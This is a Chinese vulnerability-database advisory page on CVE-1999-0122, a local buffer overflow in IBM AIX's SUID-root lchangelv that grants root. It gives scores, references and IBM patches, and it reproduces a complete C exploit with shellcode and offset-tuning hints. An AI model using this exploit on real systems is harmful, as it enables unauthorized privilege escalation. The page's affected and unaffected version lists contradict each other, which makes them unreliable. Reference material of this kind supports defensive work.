CVE-1999-0122
CVSS7.2
发布时间 :1997-07-21 00:00:00
修订时间 :2008-09-09 08:33:48
NMCOES    

[原文]Buffer overflow in AIX lchangelv gives root access.


[CNNVD]AIX lchangelv缓冲区溢出漏洞(CNNVD-199707-032)

        AIX lchangelv存在缓冲区溢出漏洞。可以借助该漏洞获得根访问权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:4.1.4IBM AIX 4.1.4
cpe:/o:ibm:aix:4.1IBM AIX 4.1
cpe:/o:ibm:aix:4.1.5IBM AIX 4.1.5
cpe:/o:ibm:aix:4.1.2IBM AIX 4.1.2
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:ibm:aix:4.1.3IBM AIX 4.1.3
cpe:/o:ibm:aix:4.1.1IBM AIX 4.1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0122
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0122
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199707-032
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

AIX lchangelv缓冲区溢出漏洞
高危 缓冲区溢出
1997-07-21 00:00:00 2005-05-02 00:00:00
本地  
        AIX lchangelv存在缓冲区溢出漏洞。可以借助该漏洞获得根访问权限。

- 公告与补丁

        IBM has made the following APARs available to address this problem:
        AIX 4.2
        ----------
        APAR # IX64204
        AIX 4.1
        ---------
        APAR # IX64203

- 漏洞信息 (19309)

IBM AIX <= 4.2 lchangelv Buffer Overflow Vulnerability (EDBID:19309)
aix local
1997-07-21 Verified
0 Bryan P. Self
N/A [点击下载]
source: http://www.securityfocus.com/bid/389/info


A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv.

Because lchangelv is SUID root, this overflow will grant the attacker root privileges.

    /*
     *
     *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V
     *
     *   CREDITS: this is simply a modified version of an exploit
     *   posted by Georgi Guninski (guninski@hotmail.com)
     *
     *   NOTES: you must have gid or egid of (system) to run this.
     *
     *   USAGE:
     *            $ cc -o foo -g aix_lchangelv.c
     *            $ ./foo 5100
     *            #
     *
     *
     *   HINT: Try giving ranges from 5090 through 5500
     *
     *   DISCLAIMER: use this program in a responsible manner.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    extern int execv();

    #define MAXBUF 600

    unsigned int code[]={
            0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
            0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
            0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
            0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
            0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
            0x7c0903a6 , 0x4e800420, 0x0
    };

    char *createvar(char *name,char *value)
    {
            char *c;
            int l;

            l=strlen(name)+strlen(value)+4;
            if (! (c=malloc(l))) {perror("error allocating");exit(2);};
            strcpy(c,name);
            strcat(c,"=");
            strcat(c,value);
            putenv(c);
            return c;
    }

    main(int argc,char **argv,char **env)
    {
            unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
            int min=100, max=280;
            unsigned int return_address;
            char *newenv[8];
            char *args[4];
            int offset=3200;

            if (argc==2) offset = atoi(argv[1]);

            pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

            *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
            *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000f
fff);
            *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
            *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000
ffff);

            return_address=(unsigned)&buf[0]+offset;

            for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
            strcpy((char*)&buf[nop],(char*)&code);
            i=nop+strlen( (char*) &code)/4-1;

            for(i=0;i<max-1;i++) frame[i]=return_address;
            frame[i]=0;

            newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
            newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
            newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
            newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
            newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
            newenv[5]=NULL;

            args[0]="lchangelv";
            args[1]="-l";
            args[2]=(char*)&frame[0];
            execve("/usr/sbin/lchangelv",args,newenv);
            perror("Error executing execve \n");
}

		

- 漏洞信息

989
IBM AIX lchangelv Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1997-07-21 Unknow
1997-07-21 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

AIX lchangelv Buffer Overflow Vulnerability
Boundary Condition Error 389
No Yes
1997-07-21 12:00:00 2007-07-17 10:06:00
This bug was posted to tbe Bugtraq mailing list by Bryan P. Self <bryan@SCOTT.NET> Mon, 21 Jul 1997.

- 受影响的程序版本

IBM AIX 4.2
IBM AIX 4.1.5
IBM AIX 4.1.4
IBM AIX 4.1.3
IBM AIX 4.1.2
IBM AIX 4.1.1
IBM AIX 4.1
IBM AIX 4.3.2
IBM AIX 4.3
IBM AIX 4.2.1
IBM AIX 3.2.5
IBM AIX 3.2.4
IBM AIX 3.2

- 不受影响的程序版本

IBM AIX 4.3.2
IBM AIX 4.3
IBM AIX 4.2.1
IBM AIX 3.2.5
IBM AIX 3.2.4
IBM AIX 3.2

- 漏洞讨论

A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv.

Because lchangelv is SUID root, this overflow will grant the attacker root privileges.

- 漏洞利用

The following exploit code is available.

- 解决方案

IBM has made the following APARs available to address this problem:

AIX 4.2
----------
APAR # IX64204

AIX 4.1
---------
APAR # IX64203

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站